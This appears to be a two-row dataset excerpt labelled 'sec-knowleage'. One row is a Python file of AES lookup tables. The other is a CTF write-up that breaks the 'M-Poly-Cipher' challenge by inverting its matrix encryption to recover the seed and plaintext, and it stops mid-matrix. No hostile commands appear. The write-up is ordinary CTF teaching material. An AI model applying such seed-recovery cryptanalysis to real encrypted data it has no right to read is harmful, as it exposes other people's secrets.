text
stringlengths
100
9.93M
category
stringclasses
11 values
#!/usr/bin/env python # -*- coding: utf-8 -*- # --------------------------------------------------- # Copyright (c) 2013 Pablo Caro. All Rights Reserved. # Pablo Caro <me@pcaro.es> - http://pcaro.es/ # AES_base.py # --------------------------------------------------- sbox = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22] isbox = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125] gfp2 = [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84, 86, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128, 130, 132, 134, 136, 138, 140, 142, 144, 146, 148, 150, 152, 154, 156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 230, 232, 234, 236, 238, 240, 242, 244, 246, 248, 250, 252, 254, 27, 25, 31, 29, 19, 17, 23, 21, 11, 9, 15, 13, 3, 1, 7, 5, 59, 57, 63, 61, 51, 49, 55, 53, 43, 41, 47, 45, 35, 33, 39, 37, 91, 89, 95, 93, 83, 81, 87, 85, 75, 73, 79, 77, 67, 65, 71, 69, 123, 121, 127, 125, 115, 113, 119, 117, 107, 105, 111, 109, 99, 97, 103, 101, 155, 153, 159, 157, 147, 145, 151, 149, 139, 137, 143, 141, 131, 129, 135, 133, 187, 185, 191, 189, 179, 177, 183, 181, 171, 169, 175, 173, 163, 161, 167, 165, 219, 217, 223, 221, 211, 209, 215, 213, 203, 201, 207, 205, 195, 193, 199, 197, 251, 249, 255, 253, 243, 241, 247, 245, 235, 233, 239, 237, 227, 225, 231, 229] gfp3 = [0, 3, 6, 5, 12, 15, 10, 9, 24, 27, 30, 29, 20, 23, 18, 17, 48, 51, 54, 53, 60, 63, 58, 57, 40, 43, 46, 45, 36, 39, 34, 33, 96, 99, 102, 101, 108, 111, 106, 105, 120, 123, 126, 125, 116, 119, 114, 113, 80, 83, 86, 85, 92, 95, 90, 89, 72, 75, 78, 77, 68, 71, 66, 65, 192, 195, 198, 197, 204, 207, 202, 201, 216, 219, 222, 221, 212, 215, 210, 209, 240, 243, 246, 245, 252, 255, 250, 249, 232, 235, 238, 237, 228, 231, 226, 225, 160, 163, 166, 165, 172, 175, 170, 169, 184, 187, 190, 189, 180, 183, 178, 177, 144, 147, 150, 149, 156, 159, 154, 153, 136, 139, 142, 141, 132, 135, 130, 129, 155, 152, 157, 158, 151, 148, 145, 146, 131, 128, 133, 134, 143, 140, 137, 138, 171, 168, 173, 174, 167, 164, 161, 162, 179, 176, 181, 182, 191, 188, 185, 186, 251, 248, 253, 254, 247, 244, 241, 242, 227, 224, 229, 230, 239, 236, 233, 234, 203, 200, 205, 206, 199, 196, 193, 194, 211, 208, 213, 214, 223, 220, 217, 218, 91, 88, 93, 94, 87, 84, 81, 82, 67, 64, 69, 70, 79, 76, 73, 74, 107, 104, 109, 110, 103, 100, 97, 98, 115, 112, 117, 118, 127, 124, 121, 122, 59, 56, 61, 62, 55, 52, 49, 50, 35, 32, 37, 38, 47, 44, 41, 42, 11, 8, 13, 14, 7, 4, 1, 2, 19, 16, 21, 22, 31, 28, 25, 26] gfp9 = [0, 9, 18, 27, 36, 45, 54, 63, 72, 65, 90, 83, 108, 101, 126, 119, 144, 153, 130, 139, 180, 189, 166, 175, 216, 209, 202, 195, 252, 245, 238, 231, 59, 50, 41, 32, 31, 22, 13, 4, 115, 122, 97, 104, 87, 94, 69, 76, 171, 162, 185, 176, 143, 134, 157, 148, 227, 234, 241, 248, 199, 206, 213, 220, 118, 127, 100, 109, 82, 91, 64, 73, 62, 55, 44, 37, 26, 19, 8, 1, 230, 239, 244, 253, 194, 203, 208, 217, 174, 167, 188, 181, 138, 131, 152, 145, 77, 68, 95, 86, 105, 96, 123, 114, 5, 12, 23, 30, 33, 40, 51, 58, 221, 212, 207, 198, 249, 240, 235, 226, 149, 156, 135, 142, 177, 184, 163, 170, 236, 229, 254, 247, 200, 193, 218, 211, 164, 173, 182, 191, 128, 137, 146, 155, 124, 117, 110, 103, 88, 81, 74, 67, 52, 61, 38, 47, 16, 25, 2, 11, 215, 222, 197, 204, 243, 250, 225, 232, 159, 150, 141, 132, 187, 178, 169, 160, 71, 78, 85, 92, 99, 106, 113, 120, 15, 6, 29, 20, 43, 34, 57, 48, 154, 147, 136, 129, 190, 183, 172, 165, 210, 219, 192, 201, 246, 255, 228, 237, 10, 3, 24, 17, 46, 39, 60, 53, 66, 75, 80, 89, 102, 111, 116, 125, 161, 168, 179, 186, 133, 140, 151, 158, 233, 224, 251, 242, 205, 196, 223, 214, 49, 56, 35, 42, 21, 28, 7, 14, 121, 112, 107, 98, 93, 84, 79, 70] gfp11 = [0, 11, 22, 29, 44, 39, 58, 49, 88, 83, 78, 69, 116, 127, 98, 105, 176, 187, 166, 173, 156, 151, 138, 129, 232, 227, 254, 245, 196, 207, 210, 217, 123, 112, 109, 102, 87, 92, 65, 74, 35, 40, 53, 62, 15, 4, 25, 18, 203, 192, 221, 214, 231, 236, 241, 250, 147, 152, 133, 142, 191, 180, 169, 162, 246, 253, 224, 235, 218, 209, 204, 199, 174, 165, 184, 179, 130, 137, 148, 159, 70, 77, 80, 91, 106, 97, 124, 119, 30, 21, 8, 3, 50, 57, 36, 47, 141, 134, 155, 144, 161, 170, 183, 188, 213, 222, 195, 200, 249, 242, 239, 228, 61, 54, 43, 32, 17, 26, 7, 12, 101, 110, 115, 120, 73, 66, 95, 84, 247, 252, 225, 234, 219, 208, 205, 198, 175, 164, 185, 178, 131, 136, 149, 158, 71, 76, 81, 90, 107, 96, 125, 118, 31, 20, 9, 2, 51, 56, 37, 46, 140, 135, 154, 145, 160, 171, 182, 189, 212, 223, 194, 201, 248, 243, 238, 229, 60, 55, 42, 33, 16, 27, 6, 13, 100, 111, 114, 121, 72, 67, 94, 85, 1, 10, 23, 28, 45, 38, 59, 48, 89, 82, 79, 68, 117, 126, 99, 104, 177, 186, 167, 172, 157, 150, 139, 128, 233, 226, 255, 244, 197, 206, 211, 216, 122, 113, 108, 103, 86, 93, 64, 75, 34, 41, 52, 63, 14, 5, 24, 19, 202, 193, 220, 215, 230, 237, 240, 251, 146, 153, 132, 143, 190, 181, 168, 163] gfp13 = [0, 13, 26, 23, 52, 57, 46, 35, 104, 101, 114, 127, 92, 81, 70, 75, 208, 221, 202, 199, 228, 233, 254, 243, 184, 181, 162, 175, 140, 129, 150, 155, 187, 182, 161, 172, 143, 130, 149, 152, 211, 222, 201, 196, 231, 234, 253, 240, 107, 102, 113, 124, 95, 82, 69, 72, 3, 14, 25, 20, 55, 58, 45, 32, 109, 96, 119, 122, 89, 84, 67, 78, 5, 8, 31, 18, 49, 60, 43, 38, 189, 176, 167, 170, 137, 132, 147, 158, 213, 216, 207, 194, 225, 236, 251, 246, 214, 219, 204, 193, 226, 239, 248, 245, 190, 179, 164, 169, 138, 135, 144, 157, 6, 11, 28, 17, 50, 63, 40, 37, 110, 99, 116, 121, 90, 87, 64, 77, 218, 215, 192, 205, 238, 227, 244, 249, 178, 191, 168, 165, 134, 139, 156, 145, 10, 7, 16, 29, 62, 51, 36, 41, 98, 111, 120, 117, 86, 91, 76, 65, 97, 108, 123, 118, 85, 88, 79, 66, 9, 4, 19, 30, 61, 48, 39, 42, 177, 188, 171, 166, 133, 136, 159, 146, 217, 212, 195, 206, 237, 224, 247, 250, 183, 186, 173, 160, 131, 142, 153, 148, 223, 210, 197, 200, 235, 230, 241, 252, 103, 106, 125, 112, 83, 94, 73, 68, 15, 2, 21, 24, 59, 54, 33, 44, 12, 1, 22, 27, 56, 53, 34, 47, 100, 105, 126, 115, 80, 93, 74, 71, 220, 209, 198, 203, 232, 229, 242, 255, 180, 185, 174, 163, 128, 141, 154, 151] gfp14 = [0, 14, 28, 18, 56, 54, 36, 42, 112, 126, 108, 98, 72, 70, 84, 90, 224, 238, 252, 242, 216, 214, 196, 202, 144, 158, 140, 130, 168, 166, 180, 186, 219, 213, 199, 201, 227, 237, 255, 241, 171, 165, 183, 185, 147, 157, 143, 129, 59, 53, 39, 41, 3, 13, 31, 17, 75, 69, 87, 89, 115, 125, 111, 97, 173, 163, 177, 191, 149, 155, 137, 135, 221, 211, 193, 207, 229, 235, 249, 247, 77, 67, 81, 95, 117, 123, 105, 103, 61, 51, 33, 47, 5, 11, 25, 23, 118, 120, 106, 100, 78, 64, 82, 92, 6, 8, 26, 20, 62, 48, 34, 44, 150, 152, 138, 132, 174, 160, 178, 188, 230, 232, 250, 244, 222, 208, 194, 204, 65, 79, 93, 83, 121, 119, 101, 107, 49, 63, 45, 35, 9, 7, 21, 27, 161, 175, 189, 179, 153, 151, 133, 139, 209, 223, 205, 195, 233, 231, 245, 251, 154, 148, 134, 136, 162, 172, 190, 176, 234, 228, 246, 248, 210, 220, 206, 192, 122, 116, 102, 104, 66, 76, 94, 80, 10, 4, 22, 24, 50, 60, 46, 32, 236, 226, 240, 254, 212, 218, 200, 198, 156, 146, 128, 142, 164, 170, 184, 182, 12, 2, 16, 30, 52, 58, 40, 38, 124, 114, 96, 110, 68, 74, 88, 86, 55, 57, 43, 37, 15, 1, 19, 29, 71, 73, 91, 85, 127, 113, 99, 109, 215, 217, 203, 197, 239, 225, 243, 253, 167, 169, 187, 181, 159, 145, 131, 141] Rcon = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141]
sec-knowleage
# M-Poly-Cipher (re/crypto, 279p, 26 solved) In the challenge we get [a binary](cipher) to reverse. We also get a [public key](public.key) and [encrypted flag](flag.enc). After hours of blood, sweat and tears we finally reach a [working python implementation](code.py). The key part is: ```python def encrypt(pt_file: str, pk_file: str, result_file: str) -> None: with open(pt_file, 'rb') as ctf: pt = ctf.read() pt = (pt + b'\x00' * (0x40 - len(pt)))[:0x40] pt = deserialise_vectors8(pt) with open(pk_file, 'rb') as pkf: pk = pkf.read() pk0 = parse_vectors(pk[0:256]) pk1 = parse_vectors(pk[256:512]) pk2 = parse_vectors(pk[512:768]) seed = get_random_vectors() stage0 = matrix_mult(seed, pk0) stage1 = matrix_mult(seed, pk1) stage2 = matrix_mult(seed, pk2) combined = add_rows(stage2, pt) result = b'' result += serialise_vectors32(stage0) result += serialise_vectors32(stage1) result += serialise_vectors32(combined) with open(result_file, 'wb') as outf: outf.write(result) ``` This shows what is the relation between public key we have and the encrypted output. We didn't even try to understand the private key generation, we decided it will be far easier to simply reverse the encryption process. It's quite clear that we need to invert `add_rows` operation on third output chunk, and this would give us plaintext. In order to do that we need the `seed` vector. We don't know it, however we know the `stage0` and `stage1` vectors. And those are created from some matrix multiplication based on `pk0` and `pk2`, which we know! So the idea is to invert the `matrix_mult` operation to recover the `seed`, and then use seed to invert `add_rows`. What we got as matrix_mult is: ```python def matrix_mult(data: List[int], key: List[int]) -> List[int]: result = [] for j in range(8): for i in range(8): val = 0 for k in range(8): val = (val + (data[j * 8 + k] * key[k * 8 + i])) % 0xFFFFFFFB result.append(val) return result ``` Which is not very readable, so we asked sage to show us the actual matrix: ```python def matrix_mult(data, key): result = [] for j in range(8): for i in range(8): val = 0 for k in range(8): val = (val + (data[j * 8 + k] * key[k * 8 + i])) result.append(val) return result seed_sym = [var('s' + str(i)) for i in range(64)] pk_sym = [var('pk' + str(i)) for i in range(64)] print(matrix_mult(seed_sym, pk_sym)) ``` And we got back: ``` [pk0*s0 + pk8*s1 + pk16*s2 + pk24*s3 + pk32*s4 + pk40*s5 + pk48*s6 + pk56*s7, pk1*s0 + pk9*s1 + pk17*s2 + pk25*s3 + pk33*s4 + pk41*s5 + pk49*s6 + pk57*s7, pk2*s0 + pk10*s1 + pk18*s2 + pk26*s3 + pk34*s4 + pk42*s5 + pk50*s6 + pk58*s7, pk3*s0 + pk11*s1 + pk19*s2 + pk27*s3 + pk35*s4 + pk43*s5 + pk51*s6 + pk59*s7, pk4*s0 + pk12*s1 + pk20*s2 + pk28*s3 + pk36*s4 + pk44*s5 + pk52*s6 + pk60*s7, pk5*s0 + pk13*s1 + pk21*s2 + pk29*s3 + pk37*s4 + pk45*s5 + pk53*s6 + pk61*s7, pk6*s0 + pk14*s1 + pk22*s2 + pk30*s3 + pk38*s4 + pk46*s5 + pk54*s6 + pk62*s7, pk7*s0 + pk15*s1 + pk23*s2 + pk31*s3 + pk39*s4 + pk47*s5 + pk55*s6 + pk63*s7, pk16*s10 + pk24*s11 + pk32*s12 + pk40*s13 + pk48*s14 + pk56*s15 + pk0*s8 + pk8*s9, pk17*s10 + pk25*s11 + pk33*s12 + pk41*s13 + pk49*s14 + pk57*s15 + pk1*s8 + pk9*s9, pk18*s10 + pk26*s11 + pk34*s12 + pk42*s13 + pk50*s14 + pk58*s15 + pk2*s8 + pk10*s9, pk19*s10 + pk27*s11 + pk35*s12 + pk43*s13 + pk51*s14 + pk59*s15 + pk3*s8 + pk11*s9, pk20*s10 + pk28*s11 + pk36*s12 + pk44*s13 + pk52*s14 + pk60*s15 + pk4*s8 + pk12*s9, pk21*s10 + pk29*s11 + pk37*s12 + pk45*s13 + pk53*s14 + pk61*s15 + pk5*s8 + pk13*s9, pk22*s10 + pk30*s11 + pk38*s12 + pk46*s13 + pk54*s14 + pk62*s15 + pk6*s8 + pk14*s9, pk23*s10 + pk31*s11 + pk39*s12 + pk47*s13 + pk55*s14 + pk63*s15 + pk7*s8 + pk15*s9, pk0*s16 + pk8*s17 + pk16*s18 + pk24*s19 + pk32*s20 + pk40*s21 + pk48*s22 + pk56*s23, pk1*s16 + pk9*s17 + pk17*s18 + pk25*s19 + pk33*s20 + pk41*s21 + pk49*s22 + pk57*s23, pk2*s16 + pk10*s17 + pk18*s18 + pk26*s19 + pk34*s20 + pk42*s21 + pk50*s22 + pk58*s23, pk3*s16 + pk11*s17 + pk19*s18 + pk27*s19 + pk35*s20 + pk43*s21 + pk51*s22 + pk59*s23, pk4*s16 + pk12*s17 + pk20*s18 + pk28*s19 + pk36*s20 + pk44*s21 + pk52*s22 + pk60*s23, pk5*s16 + pk13*s17 + pk21*s18 + pk29*s19 + pk37*s20 + pk45*s21 + pk53*s22 + pk61*s23, pk6*s16 + pk14*s17 + pk22*s18 + pk30*s19 + pk38*s20 + pk46*s21 + pk54*s22 + pk62*s23, pk7*s16 + pk15*s17 + pk23*s18 + pk31*s19 + pk39*s20 + pk47*s21 + pk55*s22 + pk63*s23, pk0*s24 + pk8*s25 + pk16*s26 + pk24*s27 + pk32*s28 + pk40*s29 + pk48*s30 + pk56*s31, pk1*s24 + pk9*s25 + pk17*s26 + pk25*s27 + pk33*s28 + pk41*s29 + pk49*s30 + pk57*s31, pk2*s24 + pk10*s25 + pk18*s26 + pk26*s27 + pk34*s28 + pk42*s29 + pk50*s30 + pk58*s31, pk3*s24 + pk11*s25 + pk19*s26 + pk27*s27 + pk35*s28 + pk43*s29 + pk51*s30 + pk59*s31, pk4*s24 + pk12*s25 + pk20*s26 + pk28*s27 + pk36*s28 + pk44*s29 + pk52*s30 + pk60*s31, pk5*s24 + pk13*s25 + pk21*s26 + pk29*s27 + pk37*s28 + pk45*s29 + pk53*s30 + pk61*s31, pk6*s24 + pk14*s25 + pk22*s26 + pk30*s27 + pk38*s28 + pk46*s29 + pk54*s30 + pk62*s31, pk7*s24 + pk15*s25 + pk23*s26 + pk31*s27 + pk39*s28 + pk47*s29 + pk55*s30 + pk63*s31, pk0*s32 + pk8*s33 + pk16*s34 + pk24*s35 + pk32*s36 + pk40*s37 + pk48*s38 + pk56*s39, pk1*s32 + pk9*s33 + pk17*s34 + pk25*s35 + pk33*s36 + pk41*s37 + pk49*s38 + pk57*s39, pk2*s32 + pk10*s33 + pk18*s34 + pk26*s35 + pk34*s36 + pk42*s37 + pk50*s38 + pk58*s39, pk3*s32 + pk11*s33 + pk19*s34 + pk27*s35 + pk35*s36 + pk43*s37 + pk51*s38 + pk59*s39, pk4*s32 + pk12*s33 + pk20*s34 + pk28*s35 + pk36*s36 + pk44*s37 + pk52*s38 + pk60*s39, pk5*s32 + pk13*s33 + pk21*s34 + pk29*s35 + pk37*s36 + pk45*s37 + pk53*s38 + pk61*s39, pk6*s32 + pk14*s33 + pk22*s34 + pk30*s35 + pk38*s36 + pk46*s37 + pk54*s38 + pk62*s39, pk7*s32 + pk15*s33 + pk23*s34 + pk31*s35 + pk39*s36 + pk47*s37 + pk55*s38 + pk63*s39, pk0*s40 + pk8*s41 + pk16*s42 + pk24*s43 + pk32*s44 + pk40*s45 + pk48*s46 + pk56*s47, pk1*s40 + pk9*s41 + pk17*s42 + pk25*s43 + pk33*s44 + pk41*s45 + pk49*s46 + pk57*s47, pk2*s40 + pk10*s41 + pk18*s42 + pk26*s43 + pk34*s44 + pk42*s45 + pk50*s46 + pk58*s47, pk3*s40 + pk11*s41 + pk19*s42 + pk27*s43 + pk35*s44 + pk43*s45 + pk51*s46 + pk59*s47, pk4*s40 + pk12*s41 + pk20*s42 + pk28*s43 + pk36*s44 + pk44*s45 + pk52*s46 + pk60*s47, pk5*s40 + pk13*s41 + pk21*s42 + pk29*s43 + pk37*s44 + pk45*s45 + pk53*s46 + pk61*s47, pk6*s40 + pk14*s41 + pk22*s42 + pk30*s43 + pk38*s44 + pk46*s45 + pk54*s46 + pk62*s47, pk7*s40 + pk15*s41 + pk23*s42 + pk31*s43 + pk39*s44 + pk47*s45 + pk55*s46 + pk63*s47, pk0*s48 + pk8*s49 + pk16*s50 + pk24*s51 + pk32*s52 + pk40*s53 + pk48*s54 + pk56*s55, pk1*s48 + pk9*s49 + pk17*s50 + pk25*s51 + pk33*s52 + pk41*s53 + pk49*s54 + pk57*s55, pk2*s48 + pk10*s49 + pk18*s50 + pk26*s51 + pk34*s52 + pk42*s53 + pk50*s54 + pk58*s55, pk3*s48 + pk11*s49 + pk19*s50 + pk27*s51 + pk35*s52 + pk43*s53 + pk51*s54 + pk59*s55, pk4*s48 + pk12*s49 + pk20*s50 + pk28*s51 + pk36*s52 + pk44*s53 + pk52*s54 + pk60*s55, pk5*s48 + pk13*s49 + pk21*s50 + pk29*s51 + pk37*s52 + pk45*s53 + pk53*s54 + pk61*s55, pk6*s48 + pk14*s49 + pk22*s50 + pk30*s51 + pk38*s52 + pk46*s53 + pk54*s54 + pk62*s55, pk7*s48 + pk15*s49 + pk23*s50 + pk31*s51 + pk39*s52 + pk47*s53 + pk55*s54 + pk63*s55, pk0*s56 + pk8*s57 + pk16*s58 + pk24*s59 + pk32*s60 + pk40*s61 + pk48*s62 + pk56*s63, pk1*s56 + pk9*s57 + pk17*s58 + pk25*s59 + pk33*s60 + pk41*s61 + pk49*s62 + pk57*s63, pk2*s56 + pk10*s57 + pk18*s58 + pk26*s59 + pk34*s60 + pk42*s61 + pk50*s62 + pk58*s63, pk3*s56 + pk11*s57 + pk19*s58 + pk27*s59 + pk35*s60 + pk43*s61 + pk51*s62 + pk59*s63, pk4*s56 + pk12*s57 + pk20*s58 + pk28*s59 + pk36*s60 + pk44*s61 + pk52*s62 + pk60*s63, pk5*s56 + pk13*s57 + pk21*s58 + pk29*s59 + pk37*s60 + pk45*s61 + pk53*s62 + pk61*s63, pk6*s56 + pk14*s57 + pk22*s58 + pk30*s59 + pk38*s60 + pk46*s61 + pk54*s62 + pk62*s63, pk7*s56 + pk15*s57 + pk23*s58 + pk31*s59 + pk39*s60 + pk47*s61 + pk55*s62 + pk63*s63] ``` This is how `stage0` and `stage1` are calculated from `pk0` and `pk1` combined with `seed`. Now we want to find such matrix `M0` that `M0*seed = stage0`. The matrix we want is: ``` [pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 